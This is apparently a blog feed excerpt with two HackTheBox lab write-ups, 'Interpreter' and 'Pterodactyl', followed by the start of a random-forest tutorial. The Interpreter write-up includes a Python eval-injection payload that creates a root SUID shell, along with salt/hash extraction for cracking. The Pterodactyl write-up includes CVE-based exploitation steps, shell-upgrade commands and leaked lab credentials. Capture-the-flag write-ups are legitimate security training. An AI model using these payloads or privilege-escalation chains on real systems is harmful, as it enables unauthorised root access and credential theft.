</span></span><span style="display:flex;"><span>LISTEN <span style="color:#ae81ff">0</span>      <span style="color:#ae81ff">128</span>          0.0.0.0:22         0.0.0.0:*
</span></span><span style="display:flex;"><span>LISTEN <span style="color:#ae81ff">0</span>      <span style="color:#ae81ff">50</span>           0.0.0.0:80         0.0.0.0:*    users:<span style="color:#f92672">((</span><span style="color:#e6db74">&#34;java&#34;</span>,pid<span style="color:#f92672">=</span>3513,fd<span style="color:#f92672">=</span>327<span style="color:#f92672">))</span>
</span></span><span style="display:flex;"><span>LISTEN <span style="color:#ae81ff">0</span>      <span style="color:#ae81ff">128</span>        127.0.0.1:54321      0.0.0.0:*
</span></span><span style="display:flex;"><span>LISTEN <span style="color:#ae81ff">0</span>      <span style="color:#ae81ff">50</span>           0.0.0.0:443        0.0.0.0:*    users:<span style="color:#f92672">((</span><span style="color:#e6db74">&#34;java&#34;</span>,pid<span style="color:#f92672">=</span>3513,fd<span style="color:#f92672">=</span>331<span style="color:#f92672">))</span>
</span></span><span style="display:flex;"><span>LISTEN <span style="color:#ae81ff">0</span>      <span style="color:#ae81ff">256</span>          0.0.0.0:6661       0.0.0.0:*    users:<span style="color:#f92672">((</span><span style="color:#e6db74">&#34;java&#34;</span>,pid<span style="color:#f92672">=</span>3513,fd<span style="color:#f92672">=</span>335<span style="color:#f92672">))</span>
</span></span><span style="display:flex;"><span>LISTEN <span style="color:#ae81ff">0</span>      <span style="color:#ae81ff">128</span>             <span style="color:#f92672">[</span>::<span style="color:#f92672">]</span>:22            <span style="color:#f92672">[</span>::<span style="color:#f92672">]</span>:*
</span></span></code></pre></div><p>Database <code>mc_bdd_prod</code> contains tables <code>PERSON</code> and <code>PERSON_PASSWORD</code>, where <code>PERSON_PASSWORD</code> contains a hash (denoted by the column &ldquo;PASSWORD&rdquo;) in some format. The <code>PERSON_ID</code> column that matches with the only hash in the table is <code>2</code>, which aligns with username <code>sedric</code> listed in table <code>PERSON</code>. Our next step is figuring out what kind of hash this is:
sedric hash: <code>u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==</code></p>
<p>A quick Google search for &ldquo;mirth connect hash format&rdquo;<a href="https://docs.nextgen.com/en-US/mirthc2ae-connect-by-nextgen-healthcare-user-guide-3281761/default-digest-algorithm-in-mirthc2ae-connect-4-4-62159"> reveals that Mirth Connect versions &gt;=4.4.0 uses a &ldquo;PBKDF2WithHmacSHA256&rdquo; hash type</a> with a<a href="https://img2.helpnetsecurity.com/dl/articles/KeyIterations&amp;CryptoSalts.pdf"> default iteration count</a> of 600000. Our hash is <strong>40 bytes</strong>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==&#34;</span> | base64 -d | wc -c
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">40</span>
</span></span></code></pre></div><p>It&rsquo;s likely that our <em>8 extra bytes</em> (considering that SHA256 is 32 bytes, 256 bits = 32 bytes) is our <strong>salt</strong>. To extract our hash, we:</p>
<ol>
<li>Decode our base64-encoded hash: <code>| base64 -d</code></li>
<li>Grab the first 8 bytes: <code>| head -c 8</code></li>
<li>Re-encode our extracted 8 bytes into base64: <code>| base64</code></li>
</ol>
<p>In full: <code>echo &quot;u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==&quot; | base64 -d | head -c 8 | base64</code> (for the first 8 bytes) Using <code>tail -c 32</code> to grab the last 32 bytes will likely be our unsalted hash. Combining our results in the format of <code>salt:hash</code>, and <a href="https://hashcat.net/wiki/doku.php?id=example_hashes">prepending the necessary specs</a> (SHA-256 and iteration count), we get the following base64-encoded string (with colons separating the salt from the hash):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sha256:600000:u/+LBBOUnac<span style="color:#f92672">=</span>:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps<span style="color:#f92672">=</span>
</span></span></code></pre></div><p>After using hashcat to crack our password, we can ssh into the machine using our credentials for the user sedric.</p>
<h1 id="root-privilege-escalation">Root Privilege Escalation</h1>
<p>I decided to run the enumeration tool linpeas.sh once again to see if any certain files or privileges were made available exclusively to the user sedric. I went down a few rabbit holes before I fully checked out the API server being hosted on localhost port 54321 with the code available to read at <code>/usr/local/bin/notif.py</code>.</p>
<p><img src="/posts/interpreter-htb/linpeas_output.png" alt=""></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python3</span>
</span></span><span style="display:flex;"><span><span style="color:#e6db74">&#34;&#34;&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Notification server for added patients.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">&#34;&#34;&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> flask <span style="color:#f92672">import</span> Flask, request, abort
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> re
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> uuid
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> datetime <span style="color:#f92672">import</span> datetime
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> xml.etree.ElementTree <span style="color:#66d9ef">as</span> ET<span style="color:#f92672">,</span> os
</span></span><span style="display:flex;"><span><span style="color:#f92672">...</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@app.route</span>(<span style="color:#e6db74">&#34;/addPatient&#34;</span>, methods<span style="color:#f92672">=</span>[<span style="color:#e6db74">&#34;POST&#34;</span>])
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">receive</span>():
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> request<span style="color:#f92672">.</span>remote_addr <span style="color:#f92672">!=</span> <span style="color:#e6db74">&#34;127.0.0.1&#34;</span>:
</span></span><span style="display:flex;"><span>        abort(<span style="color:#ae81ff">403</span>)
</span></span></code></pre></div><p>From the snippet above, we can infer that making POST requests to the endpoint <code>/addPatient</code> must be done through localhost (which isn&rsquo;t a problem with a shell on user sedric). Importantly, we can see that anything executed by this API server is executed by user root:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sedric@interpreter:~$ ls -l /usr/local/bin/notif.py
</span></span><span style="display:flex;"><span>-rwxr----- <span style="color:#ae81ff">1</span> root sedric <span style="color:#ae81ff">2332</span> Sep <span style="color:#ae81ff">19</span>  <span style="color:#ae81ff">2025</span> /usr/local/bin/notif.py
</span></span></code></pre></div><p>Just to confirm that we can make XML requests to this endpoint, we&rsquo;ll craft a standard dummy request (using <code>wget</code> because <code>curl</code> is not available on this box):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>wget -q -O - --post-data<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;&lt;patient&gt;&lt;firstname&gt;John&lt;/firstname&gt;&lt;lastname&gt;Smith&lt;/lastname&gt;&lt;sender_app&gt;app&lt;/sender_app&gt;&lt;timestamp&gt;12/12/2024&lt;/timestamp&gt;&lt;birth_date&gt;01/01/1990&lt;/birth_date&gt;&lt;gender&gt;M&lt;/gender&gt;&lt;/patient&gt;&#39;</span> --header<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;Content-Type: application/xml&#39;</span> http://127.0.0.1:54321/addPatient
</span></span><span style="display:flex;"><span>Patient John Smith <span style="color:#f92672">(</span>M<span style="color:#f92672">)</span>, <span style="color:#ae81ff">36</span> years old, received from app at 12/12/2024
</span></span></code></pre></div><p>Taking a closer look at <code>notif.py</code> reveals an interesting fact, that the accepted regex pattern that our POST requests are passed through includes strange characters (<code>{}</code>, <code>()</code>, <code>_</code>, etc.) that we can use to pass in arbitrary Python code:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">template</span>(first, last, sender, ts, dob, gender):
</span></span><span style="display:flex;"><span>    pattern <span style="color:#f92672">=</span> re<span style="color:#f92672">.</span>compile(<span style="color:#e6db74">r</span><span style="color:#e6db74">&#34;^[a-zA-Z0-9._&#39;</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">()</span><span style="color:#e6db74">{}</span><span style="color:#e6db74">=+/]+$&#34;</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> <span style="color:#f92672">not</span> pattern<span style="color:#f92672">.</span>fullmatch(s):
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> <span style="color:#e6db74">&#34;[INVALID_INPUT]&#34;</span>
</span></span></code></pre></div><p><em>More information about Python code injection can be found <a href="https://semgrep.dev/docs/cheat-sheets/python-code-injection">here</a> and <a href="https://vk9-sec.com/exploiting-python-eval-code-injection/">here</a>.</em></p>
<p>So, we can craft a payload that executes arbitrary Python code as root by passing a POST request from any user on localhost. I guess it&rsquo;s suitable to create an SUID binary. To make our payload easier to read, we&rsquo;ll put the bulk of what we want root to execute in a world-readable file in <code>/tmp/pwn.sh</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;cp /bin/bash /tmp/bash &amp;&amp; chmod +s /tmp/bash&#34;</span> &gt; /tmp/pwn.sh
</span></span></code></pre></div><p>Where we put a copy of a <code>bash</code> binary in a directory that <code>sedric</code> has full permissions of (like <code>/tmp</code>) and give it improper SUID permissions (<code>chmod +s</code>).</p>
<p>We&rsquo;ll craft our XML request to inject a Python expression into the <code>firstname</code> field. Since the server passes this field directly into an <code>eval()</code>&rsquo;d f-string, wrapping our payload in <code>{}</code> causes it to be executed as Python code by the root-owned process:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>wget -q -O - --post-data<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;&lt;patient&gt;&lt;firstname&gt;{__import__(&#34;os&#34;).popen(&#34;/tmp/pwn.sh&#34;).read()}&lt;/firstname&gt;&lt;lastname&gt;Smith&lt;/lastname&gt;&lt;sender_app&gt;app&lt;/sender_app&gt;&lt;timestamp&gt;12/12/2024&lt;/timestamp&gt;&lt;birth_date&gt;01/01/1990&lt;/birth_date&gt;&lt;gender&gt;M&lt;/gender&gt;&lt;/patient&gt;&#39;</span> --header<span style="color:#f92672">=</span><span style="color:#e6db74">&#39;Content-Type: application/xml&#39;</span> http://127.0.0.1:54321/addPatient
</span></span><span style="display:flex;"><span>Patient  Smith <span style="color:#f92672">(</span>M<span style="color:#f92672">)</span>, <span style="color:#ae81ff">36</span> years old, received from app at 12/12/2024
</span></span></code></pre></div><p>Using flag <code>-p</code> to call <code>/tmp/bash</code>, we specify that we want to run with the <a href="https://stackoverflow.com/questions/32455684/difference-between-real-user-id-effective-user-id-and-saved-user-id">effective UID</a> of root:
<code>sedric@interpreter:~$ /tmp/bash -p</code></p>
<h1 id="reflection">Reflection</h1>
<p>I learned some really cool things during this engagement. The first thing I learned about was that <em>some boxes are privy to weird characters</em>, notably the ones found in reverse shells. A straightforward way to get around this is to base64 encode the payload with the many shell-escaping characters it may include.</p>
<p>I also learned a bit about hashes. SHA256, as its name implies, is 256 bits = 32bytes, and we could potentially identify an embedded salt in a hash if we find that its byte count exceeds the expected value. Extracting the individual salt and password bytes and concatenating them into a single base64 string (with a delineator of some kind) was what led to a successful crack.</p>
<p>I got to learn about XML Python injection as well as be reminded of SUID manipulation for privilege escalation.</p>
]]></content></item><item><title>HackTheBox Writeup - "Pterodactyl"</title><link>https://mdunn99.com/posts/pterodactyl-htb/</link><pubDate>Fri, 03 Apr 2026 00:00:00 +0000</pubDate><guid>https://mdunn99.com/posts/pterodactyl-htb/</guid><description>&lt;p>Pterodactyl is a medium difficulty Linux HackTheBox machine: &lt;a href="https://app.hackthebox.com/machines/Pterodactyl?sort_by=created_at&amp;amp;sort_type=desc">https://app.hackthebox.com/machines/Pterodactyl?sort_by=created_at&amp;sort_type=desc&lt;/a>&lt;/p>
&lt;h1 id="reconnaissance">Reconnaissance&lt;/h1>
&lt;p>I ran a standard nmap service scan:&lt;/p>
&lt;pre tabindex="0">&lt;code class="language-nmap" data-lang="nmap">Not shown: 986 filtered tcp ports (no-response), 10 filtered tcp ports (admin-prohibited)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6 (protocol 2.0)
80/tcp open http nginx 1.21.5
443/tcp closed https
8080/tcp closed http-proxy
&lt;/code>&lt;/pre>&lt;p>I navigated to the web server, which had an unresolvable domain name: pterodactyl.htb. I added the IP to my hosts to resolve it in my browser:
&lt;img src="https://mdunn99.com/posts/pterodactyl-htb/monitorland_page.png" alt="">&lt;/p></description><content type="html"><![CDATA[<p>Pterodactyl is a medium difficulty Linux HackTheBox machine: <a href="https://app.hackthebox.com/machines/Pterodactyl?sort_by=created_at&amp;sort_type=desc">https://app.hackthebox.com/machines/Pterodactyl?sort_by=created_at&sort_type=desc</a></p>
<h1 id="reconnaissance">Reconnaissance</h1>
<p>I ran a standard nmap service scan:</p>
<pre tabindex="0"><code class="language-nmap" data-lang="nmap">Not shown: 986 filtered tcp ports (no-response), 10 filtered tcp ports (admin-prohibited)
PORT     STATE  SERVICE    VERSION                                                                     
22/tcp   open   ssh        OpenSSH 9.6 (protocol 2.0)                                                   
80/tcp   open   http       nginx 1.21.5                                                                 
443/tcp  closed https                                                                                   
8080/tcp closed http-proxy   
</code></pre><p>I navigated to the web server, which had an unresolvable domain name: pterodactyl.htb. I added the IP to my hosts to resolve it in my browser:
<img src="/posts/pterodactyl-htb/monitorland_page.png" alt=""></p>
<p>I did a fuzz using SecList&rsquo;s raft-medium-files on the root directory, adding php and txt extensions just as a standard practice:
<code>ffuf -u http://pterodactyl.htb/FUZZ -w raft-medium-files.txt -e .php,.txt -c</code></p>
<p>The fuzz returned files such as <code>index.php</code>, <code>phpinfo.php</code>, <code>global.css</code>, and <code>changelog.txt</code>. Some things in changelog included useful version information about the server like: &ldquo;[Installed] Pterodactyl Panel <strong>v1.11.10</strong>&rdquo;, &ldquo;MariaDB <strong>11.8.3</strong> backend.&rdquo; We&rsquo;ll also collect information in phpinfo.php <a href="https://www.php.net/manual/en/function.phpinfo.php">which is a valuable trove of config information</a> related to the PHP server.</p>
<p>I also make it a habit to enumerate through subdomains, which returned a panel.pterodactyl.htb:
<img src="/posts/pterodactyl-htb/panel.pterodactyl.htb.png" alt=""></p>
<hr>
<p>After iterating for a while through various version numbers found in phpinfo.php for vulnerabilities, I found a critical severity exploit titled <a href="https://app.opencve.io/cve/CVE-2025-49132">CVE-2025-49132</a> with arbitrary write privileges consistent with changelog.txt&rsquo;s claim of the server&rsquo;s Minecraft Pterodactyl Panel &lt;v1.11.9. A <a href="https://github.com/YoyoChaud/CVE-2025-49132">PoC published by YoyoChaud</a>)allowed for easy testing.
<img src="yoyochaud_poc.png%7C781" alt="">
<img src="/posts/pterodactyl-htb/pterodactyl_rev_shell.png" alt=""></p>
<blockquote>
<p><strong>Upgrading TTY without Python</strong></p>
<p>I&rsquo;m used to getting a clearer shell by using Python, but that&rsquo;s not installed n this box. We can also use the <code>script</code> command to effectively do the same thing:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>script /dev/null -c bash
</span></span></code></pre></div><p>And then proceed with the standard backgrounding: <code>Ctrl+Z</code>, echoing the terminal and bringing the background process to the foreground: <code>stty raw -echo; fg</code>, using <code>reset</code> and <code>export TERM=xterm</code>.</p></blockquote>
<h1 id="user-privilege-escalation">User Privilege Escalation</h1>
<p>Earlier, in php.info, we discovered that a mysqli server also runs on the server on it&rsquo;s default port, 3306. This is confirmed when we run <code>env</code> to output environment variables to our terminal (truncated):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>DB_PORT<span style="color:#f92672">=</span><span style="color:#ae81ff">3306</span>
</span></span><span style="display:flex;"><span>DB_HOST<span style="color:#f92672">=</span>127.0.0.1
</span></span><span style="display:flex;"><span>HASHIDS_SALT<span style="color:#f92672">=</span>pKkOnx0IzJvaUXKWt2PK
</span></span><span style="display:flex;"><span>PWD<span style="color:#f92672">=</span>/var/www/pterodactyl/public
</span></span><span style="display:flex;"><span>APP_KEY<span style="color:#f92672">=</span>base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY<span style="color:#f92672">=</span>
</span></span><span style="display:flex;"><span>DB_PASSWORD<span style="color:#f92672">=</span>PteraPanel
</span></span><span style="display:flex;"><span>APP_URL<span style="color:#f92672">=</span>http://panel.pterodactyl.htb
</span></span><span style="display:flex;"><span>DB_USERNAME<span style="color:#f92672">=</span>pterodactyl
</span></span><span style="display:flex;"><span>APP_SERVICE_AUTHOR<span style="color:#f92672">=</span>pterodactyl@pterodactyl.htb
</span></span><span style="display:flex;"><span>SESSION_DRIVER<span style="color:#f92672">=</span>redis
</span></span><span style="display:flex;"><span>DB_CONNECTION<span style="color:#f92672">=</span>mysql
</span></span><span style="display:flex;"><span>DB_DATABASE<span style="color:#f92672">=</span>panel
</span></span><span style="display:flex;"><span>_<span style="color:#f92672">=</span>/usr/bin/env
</span></span></code></pre></div><p>We can connect by using mysql on the box: <code>mysql -u pterodactyl -pPteraPanel</code>, but:
<code>ERROR 1045 (28000): Access denied for user 'pterodactyl'@'localhost' (using password: YES)</code></p>
<p>I figure I&rsquo;ll manually specify 127.0.0.1 rather than allowing mysql to resolve to localhost using <code>-h 127.0.0.1</code>, and I can successfully see our databases, notably the locked <code>panel</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-mariadb" data-lang="mariadb"><span style="display:flex;"><span>MariaDB [(none)]<span style="color:#f92672">&gt;</span> <span style="color:#66d9ef">show</span> <span style="color:#66d9ef">databases</span>;
</span></span><span style="display:flex;"><span><span style="color:#f92672">+--------------------+</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> <span style="color:#66d9ef">Database</span>           <span style="color:#f92672">|</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">+--------------------+</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> information_schema <span style="color:#f92672">|</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> panel              <span style="color:#f92672">|</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">|</span> test               <span style="color:#f92672">|</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">+--------------------+</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">3</span> rows <span style="color:#66d9ef">in</span> <span style="color:#66d9ef">set</span> (<span style="color:#ae81ff">0</span>.<span style="color:#ae81ff">001</span> sec)
</span></span></code></pre></div><p><code>panel</code>&rsquo;s <code>users</code> table contains some hashes (of which I couldn&rsquo;t crack):
<img src="/posts/pterodactyl-htb/mysql_users_table.png" alt=""></p>
<p>I poked around in the root <code>/var/www/pterodactyl</code> directory and found the <code>artisan</code> binary, of which I could potentially just create my own user using <code>artisan p:user:make</code>:
<img src="/posts/pterodactyl-htb/artisan_user_make.png" alt=""></p>
<p>Which is then appended to the mysql users db:
<img src="/posts/pterodactyl-htb/users_table_after_add.png" alt=""></p>
<p>So, I&rsquo;ll try logging into the pterodactyl panel with my new credentials (mdunn99:password). We have direct access to the other users we saw earlier in the database and can change their passwords:
<img src="/posts/pterodactyl-htb/panel_users.png" alt="">
<img src="/posts/pterodactyl-htb/headmonitor_password.png" alt=""></p>
<p>Upon numerous SSH attempts, I was still prompted with a password requirement, and <em>overwriting those users&rsquo; passwords was preventing me from using it as a potential duplicate password for the SSH password.</em></p>
<p>I revisited the cracking attempt and successfully cracked user <code>phileasfogg3</code>&rsquo;s bcrypt hash which matched their SSH password, and retrieved the user.txt flag.</p>
<h1 id="root-privilege-escalation">Root Privilege Escalation</h1>
<p>As I&rsquo;m checking out files with capabilities and anything that looks interesting on the file system (including the previously mentioned artisan binary), I&rsquo;m running a <a href="https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS">linpeas.sh instance</a>, which notifies me that there are some mail messages on the phileasfogg3 user. Let&rsquo;s read:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>From headmonitor@pterodactyl Fri Nov <span style="color:#ae81ff">07</span> 09:15:00 <span style="color:#ae81ff">2025</span>
</span></span><span style="display:flex;"><span>Delivered-To: phileasfogg3@pterodactyl
</span></span><span style="display:flex;"><span>Received: by pterodactyl <span style="color:#f92672">(</span>Postfix, from userid 0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>id 1234567890; Fri, <span style="color:#ae81ff">7</span> Nov <span style="color:#ae81ff">2025</span> 09:15:00 +0100 <span style="color:#f92672">(</span>CET<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>From: headmonitor headmonitor@pterodactyl
</span></span><span style="display:flex;"><span>To: All Users all@pterodactyl
</span></span><span style="display:flex;"><span>Subject: SECURITY NOTICE — Unusual udisksd activity <span style="color:#f92672">(</span>stay alert<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>Message-ID: 202511070915.headmonitor@pterodactyl
</span></span><span style="display:flex;"><span>Date: Fri, <span style="color:#ae81ff">07</span> Nov <span style="color:#ae81ff">2025</span> 09:15:00 +0100
</span></span><span style="display:flex;"><span>MIME-Version: 1.0
</span></span><span style="display:flex;"><span>Content-Type: text/plain; charset<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;utf-8&#34;</span>
</span></span><span style="display:flex;"><span>Content-Transfer-Encoding: 7bit
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Attention all users,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Unusual activity has been observed from the udisks daemon <span style="color:#f92672">(</span>udisksd<span style="color:#f92672">)</span>. No confirmed compromise at this time, but increased vigilance is required.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Do not connect untrusted external media. Review your sessions <span style="color:#66d9ef">for</span> suspicious activity. Administrators should review udisks and system logs and apply pending updates.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Report any signs of compromise immediately to headmonitor@pterodactyl.htb
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>— HeadMonitor
</span></span><span style="display:flex;"><span>System Administrator
</span></span></code></pre></div><p>grepping systemctl for udisks confirms this service is running:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>phileasfogg3@pterodactyl:~&gt; systemctl | grep udisks
</span></span><span style="display:flex;"><span>udisks2.service ... loaded active running | Disk Manager
</span></span></code></pre></div><p>Per the <a href="https://wiki.archlinux.org/title/Udisks">Arch Linux wiki:</a>:</p>
<blockquote>
<p><a href="https://man.archlinux.org/man/udisksd.8">udisksd(8)</a> is started on-demand by <a href="https://wiki.archlinux.org/title/D-Bus" title="D-Bus">D-Bus</a> and should not be enabled explicitly. It can be controlled through the command-line with <a href="https://man.archlinux.org/man/udisksctl.1">udisksctl(1)</a>.</p></blockquote>
<p>Running <code>udisksctl dump</code> will include the version number for udisks2: <strong>2.9.2</strong>, which reveals a vulnerability that affects a few operating systems. To confirm if the operating system of the box is vulnerable, I read /etc/os-release: <strong>openSUSE Leap 15.6</strong>, which is a listed vulnerable target for udisks2 versions &gt;= 2.9.2:
<img src="/posts/pterodactyl-htb/2025-8067-suse.png" alt="">
<em>Source: <a href="https://www.suse.com/security/cve/CVE-2025-8067.html">https://www.suse.com/security/cve/CVE-2025-8067.html</a></em></p>
<p>A PoC is published by <a href="https://github.com/born0monday/CVE-2025-8067">born0monday</a>. After running it, I&rsquo;m unfortunately met with this error:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>gi.repository.GLib.Error: g-io-error-quark: GDBus.Error:org.freedesktop.UDisks2.Error.NotAuthorizedCanObtain: Not authorized to perform operation <span style="color:#f92672">(</span>36<span style="color:#f92672">)</span>
</span></span></code></pre></div><p>A <a href="https://seclists.org/oss-sec/2025/q3/143">published seclists.org mail/blog</a> provides us with a helpful hint for getting around this issue:</p>
<blockquote>
<p>So really depends how is your session classified and yes, the attack surface is slightly lower for non-local seats. However, combine it with other CVEs, notably CVE-2025-6018, and you have a bigger problem.</p>
<p>CVE-2025-6018: LPE from unprivileged to allow_active in *SUSE 15&rsquo;s PAM
<a href="https://www.openwall.com/lists/oss-security/2025/06/17/4">https://www.openwall.com/lists/oss-security/2025/06/17/4</a></p></blockquote>
<p>which led me to:</p>
<blockquote>
<p>CVE-2025-6018: LPE from unprivileged to allow_active in SUSE 15&rsquo;s PAM
CVE-2025-6019: LPE from allow_active to root in libblockdev via udisks</p></blockquote>
<p>and <a href="https://www.openwall.com/lists/oss-security/2025/06/17/4">a website</a> that walks me through the whole process of exploiting openSUSE Leap 15 &ldquo;via the udisks daemon.&rdquo; I successfully create a malicious payload (on the attack machine) and mount it using a loop block (with udisks) on the victim machine, giving me a root shell.</p>
]]></content></item><item><title>Training a Basic Random Forest Regression Model</title><link>https://mdunn99.com/posts/forest_regression/</link><pubDate>Fri, 30 Jan 2026 00:00:00 +0000</pubDate><guid>https://mdunn99.com/posts/forest_regression/</guid><description>&lt;p>You can read the code for this project on my &lt;a href="https://github.com/mdunn99/housing-prices-competition">Github&lt;/a>.&lt;/p>
&lt;h1 id="random-forest-regression---hyperparameters-and-feature-selection">Random Forest Regression - Hyperparameters and Feature Selection&lt;/h1>
&lt;p>It was earlier last month when I decided to get a head-start on learning how to build machine learning models and manipulate datasets using libraries like pandas and numpy. &lt;a href="https://www.kaggle.com/">Kaggle&lt;/a>, the excellent dataset resource, it turns out, also provides in-depth courses and challenges to stimulate the exact kinds of things I wanted to get involved in. Their short &lt;a href="https://www.kaggle.com/learn/intro-to-machine-learning">&amp;ldquo;Intro to Machine Learning&amp;rdquo; course&lt;/a> was an excellent primer for building a simple model leveraging the SciKit sklearn Python libraries.&lt;/p></description><content type="html"><![CDATA[<p>You can read the code for this project on my <a href="https://github.com/mdunn99/housing-prices-competition">Github</a>.</p>
<h1 id="random-forest-regression---hyperparameters-and-feature-selection">Random Forest Regression - Hyperparameters and Feature Selection</h1>
<p>It was earlier last month when I decided to get a head-start on learning how to build machine learning models and manipulate datasets using libraries like pandas and numpy. <a href="https://www.kaggle.com/">Kaggle</a>, the excellent dataset resource, it turns out, also provides in-depth courses and challenges to stimulate the exact kinds of things I wanted to get involved in. Their short <a href="https://www.kaggle.com/learn/intro-to-machine-learning">&ldquo;Intro to Machine Learning&rdquo; course</a> was an excellent primer for building a simple model leveraging the SciKit sklearn Python libraries.</p>
<p>Completing this course brought me to a page where I was able to submit my own model for an associated competition for predicting housing prices. This was an excellent opportunity to apply what I had just learned and to prove my problem-solving and creative-thinking skills.</p>
<p>After completing this project, I became very familiar with the train_test_split method of building machine learning models and the process of training -&gt; fitting, training -&gt; fitting. I learned how looping a training process with incremental changes to the training model will yield optimal results - things like proper feature selection and hyperparameter tuning.</p>
<hr>
<p>I encountered a few problems throughout this project:</p>
<ol>
<li>Most of the features from the dataset were categorical, non-integer data. How can a random forest make sense of textual data?</li>
<li>How could I select hyperparameters more effectively - less manually?</li>
<li>How could I select features more effectively - less manually?</li>
<li>How did I know that a random forest regressor was ideal for this dataset?</li>
</ol>
<h3 id="converting-categorical-data-to-numerical-representations">Converting Categorical Data to Numerical Representations</h3>
